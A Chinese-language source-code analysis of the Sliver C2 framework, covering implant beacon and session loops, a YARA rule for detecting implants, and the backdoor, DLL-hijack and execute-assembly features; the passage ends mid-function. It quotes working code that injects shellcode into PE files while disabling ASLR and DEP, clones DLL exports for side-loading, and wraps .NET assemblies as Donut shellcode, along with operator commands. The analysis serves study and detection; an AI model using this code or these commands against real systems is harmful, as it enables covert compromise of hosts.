Sliver源码分析

Implant上线分析

      sliver的Implant存在两种工作模式,一种是beacon模式,这是一种异步处理模式,Implant收到指令之后,并不会立即执行,而是等待一段时候之后进行处理。另外一种是session立即处理模式。在https://github.com/BishopFox/sliver/blob/master/implant/sliver/sliver.go的main函数中,分别存在beaconStartupsessionStartupbeaconStartup对应的是beacon模式,sessionStartup对应的是session模式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
func main()
{
// {{if .Config.Debug}}
log.Printf("Hello my name is %s", consts.SliverName)
// {{end}}
limits.ExecLimits() // Check to see if we should execute
// {{if .Config.IsService}}
svc.Run("", &sliverService{})
// {{else}}
// {{if .Config.IsBeacon}}
beaconStartup()
// {{else}} ------- IsBeacon/IsSession -------
sessionStartup()
// {{end}}
}

      在sessionStartup中会调用StartConnectionLoop函数创建链接,sessionMainLoop函数进行链接之后的命令处理。而beaconStartup会调用StartBeaconLoopbeaconMainLoop。通过对比sessionMainLoopStartBeaconLoop两个函数,从代码逻辑上,两者并没有什么区别,从功能来看,两者区别在于通讯协议的处理上。可以看到,在beacon模式下,如果使用mtls协议,调用的是位于https://github.com/BishopFox/sliver/blob/master/implant/sliver/transports/beacon.gomtlsbeacon函数,如果是session协议,则会调用位于https://github.com/BishopFox/sliver/blob/master/implant/sliver/transports/session.gomtlsConnect函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
//beacon
func StartBeaconLoop(abort <-chan struct{}) <-chan *Beacon
{
[...]
go func() {
[...]
for uri := range c2Generator {
switch uri.Scheme {
// *** MTLS ***
case "mtls":
beacon = mtlsBeacon(uri)
case "wg":
// *** WG ***
beacon = wgBeacon(uri)
[...]
}
[...]
}
}
}()
return nextBeacon
}
//session
func StartConnectionLoop(abort <-chan struct{}) <-chan *Connection
{
[...]
go func() {
[...]
for uri := range c2Generator {
switch uri.Scheme {
// *** MTLS ***
case "mtls":
connection, err = mtlsConnect(uri)
[...]
}
case "wg":
// *** WG ***
connection, err = wgConnect(uri)
[...]
}
[...]
}
}()
return nextConnection
}

      在session模式下,https://github.com/BishopFox/sliver/blob/master/implant/sliver/sliver.gosessionMainLoop方法,整个流程很纯粹就是一个session模式,逻辑也很简单,首先进行链接,然后注册Sliver Implant,也就是将主机信息发送过去,然后获取一些Handle(处理器)。然后接收命令,根据命令的类型,传递给不同的Handle进行处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
func sessionMainLoop(connection *transports.Connection) error
{
[...]
err := connection.Start()
[...]
pivots.RestartAllListeners(connection.Send)
defer pivots.StopAllListeners()
defer connection.Stop()
//
connectionErrors = 0
register := registerSliver()
register.ActiveC2 = connection.URL()
register.ProxyURL = connection.ProxyURL()
connection.Send <- wrapEnvelope(sliverpb.MsgRegister, register) // Send registration information
//
pivotHandlers := handlers.GetPivotHandlers()
tunHandlers := handlers.GetTunnelHandlers()
sysHandlers := handlers.GetSystemHandlers()
specialHandlers := handlers.GetSpecialHandlers()
rportfwdHandlers := handlers.GetRportFwdHandlers()
//
for envelope := range connection.Recv {
if handler, ok := specialHandlers[envelope.Type]; ok {
// {{if .Config.Debug}}
log.Printf("[recv] specialHandler %d", envelope.Type)
// {{end}}
handler(envelope.Data, connection)
} else if handler, ok := pivotHandlers[envelope.Type]; ok {
// {{if .Config.Debug}}
log.Printf("[recv] pivotHandler with type %d", envelope.Type)
// {{end}}
go handler(envelope, connection)
[...]
} else if handler, ok := rportfwdHandlers[envelope.Type]; ok {
// {{if .Config.Debug}}
log.Printf("[recv] rportfwdHandler with type %d", envelope.Type)
// {{end}}
go handler(envelope, connection)
} else if envelope.Type == sliverpb.MsgCloseSession {
return nil
} else {
// {{if .Config.Debug}}
log.Printf("[recv] unknown envelope type %d", envelope.Type)
// {{end}}
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: nil,
UnknownMessageType: true,
}
}
}
return nil
}

      在beacon模式下,https://github.com/BishopFox/sliver/blob/master/implant/sliver/sliver.go中的beaconMainLoop,可以看到在进行链接,发送注册信息之后,Implant休息了一段时间,之后执行beaconMain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
func beaconMainLoop(beacon *transports.Beacon) error
{
// Register beacon
err := beacon.Init()
[...]
defer func() {
err := beacon.Cleanup()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[beacon] cleanup failure %s", err)
// {{end}}
}
}()
err = beacon.Start()
[...]
nextCheckin := time.Now().Add(beacon.Duration())
register := registerSliver()
register.ActiveC2 = beacon.ActiveC2
register.ProxyURL = beacon.ProxyURL
beacon.Send(wrapEnvelope(sliverpb.MsgBeaconRegister, &sliverpb.BeaconRegister{
ID: InstanceID,
Interval: beacon.Interval(),
Jitter: beacon.Jitter(),
Register: register,
NextCheckin: int64(beacon.Duration().Seconds()),
}))
time.Sleep(time.Second) //异步
beacon.Close()
[...]
// BeaconMain - Is executed in it's own goroutine as the function will block
// until all tasks complete (in success or failure), if a task handler blocks
// forever it will simply block this set of tasks instead of the entire beacon
errors := make(chan error)
shortCircuit := make(chan struct{})
for {
duration := beacon.Duration()
nextCheckin = time.Now().Add(duration)
go func() {
oldInterval := beacon.Interval()
err := beaconMain(beacon, nextCheckin) //主函数
[...]
}()
[...]
return nil
}

      在https://github.com/BishopFox/sliver/blob/master/implant/sliver/sliver.go的registerSliver的作用是收集信息发送给服务端进行Sliver注册。存在一个yara检测点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
rule rule_sliver
{
meta:
description = "detect sliver implant"
hash = ""
strings:
$header = {4d 5a}
//&sliverpb.Register(main_Register)
$hex1 = {89 51 ?? 8B 15 ?? ?? ?? ?? 8D 79 ?? 85 D2 74 02 EB 05 89 41 ?? EB 07}
//.text:007B6B80 89 51 30 mov [ecx+30h], edx ; ----> length of Username
//.text:007B6B83 8B 15 00 77 BB 00 mov edx, runtime_writeBarrier
//.text:007B6B89 8D 79 2C lea edi, [ecx+2Ch]
//.text:007B6B8C 85 D2 test edx, edx
//.text:007B6B8E 74 02 jz short loc_7B6B92 ; ====> Username
//.text:007B6B90 EB 05 jmp short loc_7B6B97
//.text:007B6B92 89 41 2C mov [ecx+2Ch], eax ; ====> Username
//.text:007B6B95 EB 07 jmp short loc_7B6B9E
$hex2 = {C7 41 ?? 07 00 00 00 8B 15 ?? ?? ?? ?? 8D 79 ?? 85 D2 74 02 EB 0B 8D 15 ?? ?? ?? ?? 89 51 ?? EB 0D}
//.text:007B6C03 C7 41 48 07 00 00 00 mov dword ptr [ecx+48h], 7 ; ---> length of Os
//.text:007B6C0A 8B 15 00 77 BB 00 mov edx, runtime_writeBarrier
//.text:007B6C10 8D 79 44 lea edi, [ecx+44h]
//.text:007B6C13 85 D2 test edx, edx
//.text:007B6C15 74 02 jz short loc_7B6C19
//.text:007B6C17 EB 0B jmp short loc_7B6C24
//.text:007B6C19 ; ---------------------------------------------------------------------------
//.text:007B6C19
//.text:007B6C19 loc_7B6C19: ; CODE XREF: main_registerSliver+685↑j
//.text:007B6C19 8D 15 D4 5A 87 00 lea edx, unk_875AD4
//.text:007B6C1F 89 51 44 mov [ecx+44h], edx ; ====> Os
//.text:007B6C22 EB 0D jmp short loc_7B6C31
$hex3 = {C7 41 ?? 03 00 00 00 8B 15 ?? ?? ?? ?? 8D 79 ?? 85 D2 74 02 EB 0B 8D 15 ?? ?? ?? ?? 89 51 ?? EB 0D}
//.text:007B6C63 C7 41 50 03 00 00 00 mov dword ptr [ecx+50h], 3 ; ----> length of Arch
//.text:007B6C6A 8B 15 00 77 BB 00 mov edx, runtime_writeBarrier
//.text:007B6C70 8D 79 4C lea edi, [ecx+4Ch]
//.text:007B6C73 85 D2 test edx, edx
//.text:007B6C75 74 02 jz short loc_7B6C79
//.text:007B6C77 EB 0B jmp short loc_7B6C84
//.text:007B6C79 ; ---------------------------------------------------------------------------
//.text:007B6C79
//.text:007B6C79 loc_7B6C79: ; CODE XREF: main_registerSliver+6E5↑j
//.text:007B6C79 8D 15 32 49 87 00 lea edx, unk_874932
//.text:007B6C7F 89 51 4C mov [ecx+4Ch], edx ; ====> Arch
//.text:007B6C82 EB 0D jmp short loc_7B6C91
condition:
$header at 0
and $hex1
and $hex2
and $hex3
}

Implant功能分析

0x01 backdoor

      sliver的backdoor功能的作用是将一个恶意的payload载荷远程注入到磁盘文件中。

1
2
[server] sliver (DEVELOPING_BULL) > profiles new -f shellcode -m 192.168.117.138 backdoor_shellcode
[server] sliver (DEVELOPING_BULL) > backdoor -p backdoor_shellcode "E:\\Sliver\\calc.exe"

      在/sliver/client/command/backdoor/backdoor.go文件中,客户端获取profilename,和远程文件路径等信息,然后发送RPC。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
//
remoteFilePath := ctx.Args.String("remote-file")
if remoteFilePath == "" {
con.PrintErrorf("Please provide a remote file path. See `help backdoor` for more info")
return
}
profileName := ctx.Flags.String("profile")
//
ctrl := make(chan bool)
msg := fmt.Sprintf("Backdooring %s ...", remoteFilePath)
con.SpinUntil(msg, ctrl)
backdoor, err := con.Rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
FilePath: remoteFilePath,
ProfileName: profileName,
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
//
if backdoor.Response != nil && backdoor.Response.Err != "" {
con.PrintErrorf("%s\n", backdoor.Response.Err)
return
}
//
con.PrintInfof("Uploaded backdoor'd binary to %s\n", remoteFilePath)
}

      在sliver/server/rpc/rpc-backdoor.go中,首先获取对应的Session,然后下载远程文件,根据Profile名获取Profile的ShellCode,然后传入bj.Binject方法做进一步加工,通过Update将加工过的文件上传入远程主机。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
func (rpc *Server) Backdoor(ctx context.Context, req *sliverpb.BackdoorReq) (*sliverpb.Backdoor, error) {
resp := &sliverpb.Backdoor{}
session := core.Sessions.Get(req.Request.SessionID)
if session.OS != "windows" {
return nil, status.Error(codes.InvalidArgument, fmt.Sprintf("%s is currently not supported", session.OS))
}
download, err := rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: &commonpb.Request{
SessionID: session.ID,
Timeout: req.Request.Timeout,
},
Path: req.FilePath,
})
if err != nil {
return nil, err
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
return nil, err
}
}
//
profiles, err := rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
var p *clientpb.ImplantProfile
for _, prof := range profiles.Profiles {
if prof.Name == req.ProfileName {
p = prof
}
}
if p.GetName() == "" {
return nil, fmt.Errorf("no profile found for name %s", req.ProfileName)
}
//
if p.Config.Format != clientpb.OutputFormat_SHELLCODE {
return nil, fmt.Errorf("please select a profile targeting a shellcode format")
}
//
if p.Config.Name == "" {
p.Config.Name, err = codenames.GetCodename()
if err != nil {
return nil, err
}
}
//
name, config := generate.ImplantConfigFromProtobuf(p.Config)
otpSecret, _ := cryptography.TOTPServerSecret()
err = generate.GenerateConfig(name, config, true)
if err != nil {
return nil, err
}
fPath, err := generate.SliverShellcode(name, otpSecret, config, true)
if err != nil {
return nil, status.Error(codes.Internal, err.Error())
}
shellcode, err := os.ReadFile(fPath)
if err != nil {
return nil, status.Error(codes.Internal, err.Error())
}
bjConfig := &bj.BinjectConfig{
CodeCaveMode: true,
}
newFile, err := bj.Binject(download.Data, shellcode, bjConfig)
if err != nil {
return nil, status.Error(codes.Internal, err.Error())
}
uploadGzip := new(encoders.Gzip).Encode(newFile)
// upload to remote target
upload, err := rpc.Upload(context.Background(), &sliverpb.UploadReq{
Encoder: "gzip",
Data: uploadGzip,
Path: req.FilePath,
Request: &commonpb.Request{
SessionID: session.ID,
Timeout: req.Request.Timeout,
},
})
if err != nil {
return nil, err
}
//
if upload.Response != nil && upload.Response.Err != "" {
return nil, fmt.Errorf(upload.Response.Err)
}
//
return resp, nil
}

      在/sliver/vendor/github.com/Binject/binjection/bj/inject_pe.go文件中从事ShellCode的写入工作,这一部分逻辑也很简单,可以参考部分PE加壳工具的原理,首先在文件末尾添加一个新段,在PE的节区表中添加新段的相关信息。并将入口点指向新段的虚拟地址。禁用ALSR和DEP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
// PeBinject - Inject shellcode into an PE binary
func PeBinject(sourceBytes []byte, shellcodeBytes []byte, config *BinjectConfig) ([]byte, error)
{
// Open File and Extract Needed Fields
peFile, err := pe.NewFile(bytes.NewReader(sourceBytes))
if err != nil {
return nil, err
}
var entryPoint, sectionAlignment, fileAlignment, scAddr uint32
var imageBase uint64
var shellcode []byte
lastSection := peFile.Sections[peFile.NumberOfSections-1]
//
switch hdr := (peFile.OptionalHeader).(type) {
case *pe.OptionalHeader32:
imageBase = uint64(hdr.ImageBase) // cast this back to a uint32 before use in 32bit
entryPoint = hdr.AddressOfEntryPoint
sectionAlignment = hdr.SectionAlignment
fileAlignment = hdr.FileAlignment
scAddr = align(lastSection.Size, fileAlignment, lastSection.Offset) //PointerToRawData
shellcode = api.ApplySuffixJmpIntel32(shellcodeBytes, scAddr, entryPoint+uint32(imageBase), binary.LittleEndian)
break
case *pe.OptionalHeader64:
imageBase = hdr.ImageBase
entryPoint = hdr.AddressOfEntryPoint
sectionAlignment = hdr.SectionAlignment
fileAlignment = hdr.FileAlignment
scAddr = align(lastSection.Size, fileAlignment, lastSection.Offset) //PointerToRawData
shellcode = api.ApplySuffixJmpIntel32(shellcodeBytes, scAddr, entryPoint+uint32(imageBase), binary.LittleEndian)
break
}
// Add a New Section Method (most common)
shellcodeLen := len(shellcode)
newsection := new(pe.Section)
newsection.Name = "." + RandomString(5)
o := []byte(newsection.Name)
newsection.OriginalName = [8]byte{o[0], o[1], o[2], o[3], o[4], o[5], 0, 0}
newsection.VirtualSize = uint32(shellcodeLen)
newsection.VirtualAddress = align(lastSection.VirtualSize, sectionAlignment, lastSection.VirtualAddress)
newsection.Size = align(uint32(shellcodeLen), fileAlignment, 0) //SizeOfRawData
newsection.Offset = align(lastSection.Size, fileAlignment, lastSection.Offset) //PointerToRawData
newsection.Characteristics = pe.IMAGE_SCN_CNT_CODE | pe.IMAGE_SCN_MEM_EXECUTE | pe.IMAGE_SCN_MEM_READ
//
peFile.InsertionAddr = scAddr
peFile.InsertionBytes = shellcode
//
switch hdr := (peFile.OptionalHeader).(type) {
case *pe.OptionalHeader32:
v := newsection.VirtualSize
if v == 0 {
v = newsection.Size // SizeOfRawData
}
hdr.SizeOfImage = align(v, sectionAlignment, newsection.VirtualAddress)
hdr.AddressOfEntryPoint = newsection.VirtualAddress
hdr.CheckSum = 0
// disable ASLR
hdr.DllCharacteristics ^= pe.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
hdr.DataDirectory[5].VirtualAddress = 0
hdr.DataDirectory[5].Size = 0
peFile.FileHeader.Characteristics |= pe.IMAGE_FILE_RELOCS_STRIPPED
//disable DEP
hdr.DllCharacteristics ^= pe.IMAGE_DLLCHARACTERISTICS_NX_COMPAT
// zero out cert table offset and size
hdr.DataDirectory[4].VirtualAddress = 0
hdr.DataDirectory[4].Size = 0
break
case *pe.OptionalHeader64:
v := newsection.VirtualSize
if v == 0 {
v = newsection.Size // SizeOfRawData
}
hdr.SizeOfImage = align(v, sectionAlignment, newsection.VirtualAddress)
hdr.AddressOfEntryPoint = newsection.VirtualAddress
hdr.CheckSum = 0
// disable ASLR
hdr.DllCharacteristics ^= pe.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
hdr.DataDirectory[5].VirtualAddress = 0
hdr.DataDirectory[5].Size = 0
peFile.FileHeader.Characteristics |= pe.IMAGE_FILE_RELOCS_STRIPPED
//disable DEP
hdr.DllCharacteristics ^= pe.IMAGE_DLLCHARACTERISTICS_NX_COMPAT
// zero out cert table offset and size
hdr.DataDirectory[4].VirtualAddress = 0
hdr.DataDirectory[4].Size = 0
break
}
//
peFile.FileHeader.NumberOfSections++
peFile.Sections = append(peFile.Sections, newsection)
//
return peFile.Bytes()
}

0x02 dllhijack功能

      dllhijack功能原理基于Dll侧加载技术,

1
2
3
4
5
6
7
8
9
10
[server] sliver (DEVELOPING_BULL) > profiles new -f shared -m 192.168.117.138 -R dllhijack_dll
[*] Saved new implant profile dllhijack_dll
//
[server] sliver (DEVELOPING_BULL) > profiles
Profile Name Implant Type Platform Command & Control Debug Format Obfuscation Limitations
==================== ============== =============== ================================= ======= ============ ============= =============
backdoor_shellcode session windows/amd64 [1] mtls://192.168.117.138:8888 false SHELLCODE enabled
dllhijack_dll session windows/amd64 [1] mtls://192.168.117.138:8888 false SHARED_LIB enabled
//
[server] sliver (DEVELOPING_BULL) > dllhijack -r e:\\Sliver\\test.dll -p dllhijack_dll e:\\Sliver\test2.dll

      最终调用位于https://github.com/BishopFox/sliver/blob/master/server/rpc/rpc-hijack.goHijackDLL函数。如果存在reference DLL,则读取reference DLL数据。如果不存在,则下载目标Dll,并读取。然后读取Profile数据,最后调用cloneExports方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
func (rpc *Server) HijackDLL(ctx context.Context, req *clientpb.DllHijackReq) (*clientpb.DllHijack, error)
{
var (
refDLL []byte
targetDLLData []byte
)
resp := &clientpb.DllHijack{
Response: &commonpb.Response{},
}
session := core.Sessions.Get(req.Request.SessionID)
if session == nil {
return resp, ErrInvalidSessionID
}
if session.OS != "windows" {
return nil, status.Error(codes.InvalidArgument, fmt.Sprintf(
"this feature is not supported on the target operating system (%s)", session.OS,
))
}
//
// download reference DLL if we don't have one in the request
if len(req.ReferenceDLL) == 0 {
download, err := rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: &commonpb.Request{
SessionID: session.ID,
Timeout: int64(30),
},
Path: req.ReferenceDLLPath,
})
if err != nil {
return nil, status.Error(codes.InvalidArgument, fmt.Sprintf(
"could not download the reference DLL: %s", err.Error(),
))
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
return nil, err
}
}
refDLL = download.Data
} else {
refDLL = req.ReferenceDLL
}
if req.ProfileName != "" {
profiles, err := rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
var p *clientpb.ImplantProfile
for _, prof := range profiles.Profiles {
if prof.Name == req.ProfileName {
p = prof
}
}
if p.GetName() == "" {
return nil, status.Error(codes.InvalidArgument, fmt.Sprintf(
"no profile found for name %s", req.ProfileName,
))
}
//
if p.Config.Format != clientpb.OutputFormat_SHARED_LIB {
return nil, status.Error(codes.InvalidArgument,
"please select a profile targeting a shared library format",
)
}
name, config := generate.ImplantConfigFromProtobuf(p.Config)
if name == "" {
name, err = codenames.GetCodename()
if err != nil {
return nil, err
}
}
otpSecret, _ := cryptography.TOTPServerSecret()
err = generate.GenerateConfig(name, config, true)
if err != nil {
return nil, err
}
fPath, err := generate.SliverSharedLibrary(name, otpSecret, config, true)
if err != nil {
return nil, err
}
//
targetDLLData, err = os.ReadFile(fPath)
if err != nil {
return nil, err
}
} else {
if len(req.TargetDLL) == 0 {
return nil, errors.New("missing target DLL")
}
targetDLLData = req.TargetDLL
}
// call clone
result, err := cloneExports(targetDLLData, refDLL, req.ReferenceDLLPath)
if err != nil {
return resp, fmt.Errorf("failed to clone exports: %s", err)
}
targetBytes, err := result.Bytes()
if err != nil {
return resp, fmt.Errorf("failed to convert PE to bytes: %s", err)
}
// upload new dll
uploadGzip := new(encoders.Gzip).Encode(targetBytes)
// upload to remote target
upload, err := rpc.Upload(context.Background(), &sliverpb.UploadReq{
Encoder: "gzip",
Data: uploadGzip,
Path: req.TargetLocation,
Request: &commonpb.Request{
SessionID: session.ID,
Timeout: int64(minTimeout),
},
})
//
if err != nil {
return nil, err
}
//
if upload.Response != nil && upload.Response.Err != "" {
return nil, fmt.Errorf(upload.Response.Err)
}
//
return resp, nil
}

      在cloneExports方法中。cloneExports主要逻辑就是在目标dll中新增一个节区,重新制作导出表,实现侧加载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
func cloneExports(targetPE []byte, referencePE []byte, refPath string) (*pe.File, error)
{
var (
tgt = bytes.NewReader(targetPE)
ref = bytes.NewReader(referencePE)
refExportDirectory pe.DataDirectory
)
refPath = strings.ReplaceAll(refPath, ".dll", "")
tgtFile, err := pe.NewFile(tgt)
if err != nil {
return nil, err
}
//
refFile, err := pe.NewFile(ref)
if err != nil {
return nil, err
}
switch hdr := (refFile.OptionalHeader).(type) {
case *pe.OptionalHeader32:
refExportDirectory = hdr.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT]
case *pe.OptionalHeader64:
refExportDirectory = hdr.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT]
}
refExports, err := refFile.Exports()
if err != nil {
return nil, err
}
if len(refExports) == 0 {
return nil, errors.New("reference binary has no exports")
}
var exportNames []string
for _, exp := range refExports {
var newName string
if exp.Name != "" {
newName = fmt.Sprintf("%s.%s", refPath, exp.Name)
} else {
newName = fmt.Sprintf("%s.#%d", refPath, exp.Ordinal)
}
exportNames = append(exportNames, newName)
}
//
tgtFile.DosStub = refFile.DosStub
exportNamesBlob := strings.Join(exportNames, "\x00")
exportNamesBlob += "\x00"
forwardNameBlock := []byte(exportNamesBlob)
newSectionSize := refExportDirectory.Size + uint32(len(exportNamesBlob))
newSection, err := addSection(tgtFile, ".rdata2", uint32(newSectionSize))
if err != nil {
return nil, err
}
//
// Update the export directory size and virtual address
switch hdr := (tgtFile.OptionalHeader).(type) {
case *pe.OptionalHeader32:
hdr.DataDirectory[0].VirtualAddress = newSection.VirtualAddress
hdr.DataDirectory[0].Size = newSectionSize
case *pe.OptionalHeader64:
hdr.DataDirectory[0].VirtualAddress = newSection.VirtualAddress
hdr.DataDirectory[0].Size = newSectionSize
}
//
delta := newSection.VirtualAddress - refExportDirectory.VirtualAddress
exportDirOffset := refFile.RVAToFileOffset(refExportDirectory.VirtualAddress)
sectionData := make([]byte, newSection.Size)
// Write the new export table into the section
n := copy(sectionData, referencePE[exportDirOffset:exportDirOffset+refExportDirectory.Size])
if n < int(refExportDirectory.Size) {
return nil, fmt.Errorf("only copied %d bytes", n)
}
// Write the forward name block
n = copy(sectionData[refExportDirectory.Size:], forwardNameBlock)
if n < int(refExportDirectory.Size) {
return nil, fmt.Errorf("only copied %d bytes", n)
}
// Update the section data
sectionDataReader := bytes.NewReader(sectionData)
tgtFile.Section(newSection.Name).Replace(sectionDataReader, int64(len(sectionData)))
//
// Get the updated byte slice representation of the target file
tgtBytes, err := tgtFile.Bytes()
if err != nil {
return nil, err
}
//
// We're not using pe.ExportDirectory because it contains a string field (DllName)
// which makes it unusable with binary.Read, and I did not want to manually parse
// all the fields because I'm lazy.
newExportDirectory := exportDirectory{}
err = binary.Read(bytes.NewReader(tgtBytes[newSection.Offset:]), binary.LittleEndian, &newExportDirectory)
if err != nil {
return nil, err
}
// Update the export directory
newExportDirectory.AddressTableAddr += delta
newExportDirectory.NameTableAddr += delta
newExportDirectory.OrdinalTableAddr += delta
//
// Write it back to the target file byte slice
buf := new(bytes.Buffer)
err = binary.Write(buf, binary.LittleEndian, &newExportDirectory)
if err != nil {
return nil, err
}
n = copy(tgtBytes[newSection.Offset:], buf.Bytes())
if n < buf.Len() {
return nil, fmt.Errorf("only read %d bytes, expected %d", n, buf.Len())
}
//
// Link function addresses to forward names
forwardOffset := newSection.VirtualAddress + refExportDirectory.Size
rawAddressOfFunctions := tgtFile.RVAToFileOffset(newExportDirectory.AddressTableAddr)
for i := uint32(0); i < newExportDirectory.NumberOfFunctions; i++ {
offset := rawAddressOfFunctions + (4 * i)
forwardName := exportNames[i]
binary.LittleEndian.PutUint32(tgtBytes[offset:], forwardOffset)
forwardOffset += uint32(len(forwardName) + 1)
}
//
// Apply delta to export names
rawAddressOfNames := tgtFile.RVAToFileOffset(newExportDirectory.NameTableAddr)
for i := uint32(0); i < newExportDirectory.NumberOfNames; i++ {
offset := rawAddressOfNames + (4 * i)
data := binary.LittleEndian.Uint32(tgtBytes[offset:])
binary.LittleEndian.PutUint32(tgtBytes[offset:], (data + delta))
}
// Return the new pe.File
return pe.NewFile(bytes.NewReader(tgtBytes))
}

0x03 ExecuteAssembly

      ExecuteAssembly的作用是内存执行Donot文件。

      在https://github.com/BishopFox/sliver/blob/v1.5.30/server/rpc/rpc-tasks.goExecuteAssemblyExecuteAssembly的Main函数,首先会调用位于https://github.com/BishopFox/sliver/blob/a8a36dd6e2c9796c51ab6983b5b615d19c6a6995/server/generate/donut.goDonutFromAssembly函数填充一些诸如donutArch , Method配置文件,然后填充ShellCode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
func (rpc *Server) ExecuteAssembly(ctx context.Context, req *sliverpb.ExecuteAssemblyReq) (*sliverpb.ExecuteAssembly, error)
{
[....]
shellcode, err := generate.DonutFromAssembly(
req.Assembly,
req.IsDLL,
req.Arch,
req.Arguments,
req.Method,
req.ClassName,
req.AppDomain,
)
if err != nil {
tasksLog.Errorf("Execute assembly failed: %s", err)
return nil, err
}
//
resp := &sliverpb.ExecuteAssembly{Response: &commonpb.Response{}}
if req.InProcess {
tasksLog.Infof("Executing assembly in-process")
invokeInProcExecAssembly := &sliverpb.InvokeInProcExecuteAssemblyReq{
Data: req.Assembly,
Runtime: req.Runtime,
Arguments: strings.Split(req.Arguments, " "),
AmsiBypass: req.AmsiBypass,
EtwBypass: req.EtwBypass,
Request: req.Request,
}
err = rpc.GenericHandler(invokeInProcExecAssembly, resp)
} else {
invokeExecAssembly := &sliverpb.InvokeExecuteAssemblyReq{
Data: shellcode,
Process: req.Process,
Request: req.Request,
PPid: req.PPid,
ProcessArgs: req.ProcessArgs,
}
err = rpc.GenericHandler(invokeExecAssembly, resp)
//
}
if err != nil {
return nil, err
}
return resp, nil
}

      ShellCode的生成逻辑是这样的,在https://github.com/BishopFox/sliver/blob/a8a36dd6e2c9796c51ab6983b5b615d19c6a6995/vendor/github.com/Binject/go-donut/donut/donut.goSandwich函数生成的ShellCode主要包含3部分:shellcode_loader,donut_loader,payload(C#Assembly)。shellcode_loader负责引导eip执行donut_loader,需要跳转payload大小(SizeOf(payload))后执行donut_loader。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
func Sandwich(arch DonutArch, payload *bytes.Buffer) (*bytes.Buffer, error)
{
/*
Disassembly:
0: e8 call $+
1: xx xx xx xx instance length
5: [instance]
x=5+instanceLen: 0x59 pop ecx
x+1: stub preamble + stub (either 32 or 64 bit or both)
*/
w := new(bytes.Buffer)
instanceLen := uint32(payload.Len())
w.WriteByte(0xE8)
binary.Write(w, binary.LittleEndian, instanceLen)
if _, err := payload.WriteTo(w); err != nil {
return nil, err
}
w.WriteByte(0x59)
picLen := int(instanceLen) + 32
switch arch {
case X32:
w.WriteByte(0x5A) // preamble: pop edx, push ecx, push edx
w.WriteByte(0x51)
w.WriteByte(0x52)
w.Write(LOADER_EXE_X86)
picLen += len(LOADER_EXE_X86)
case X64:
w.Write(LOADER_EXE_X64)
picLen += len(LOADER_EXE_X64)
case X84:
w.WriteByte(0x31) // preamble: xor eax,eax
w.WriteByte(0xC0)
w.WriteByte(0x48) // dec ecx
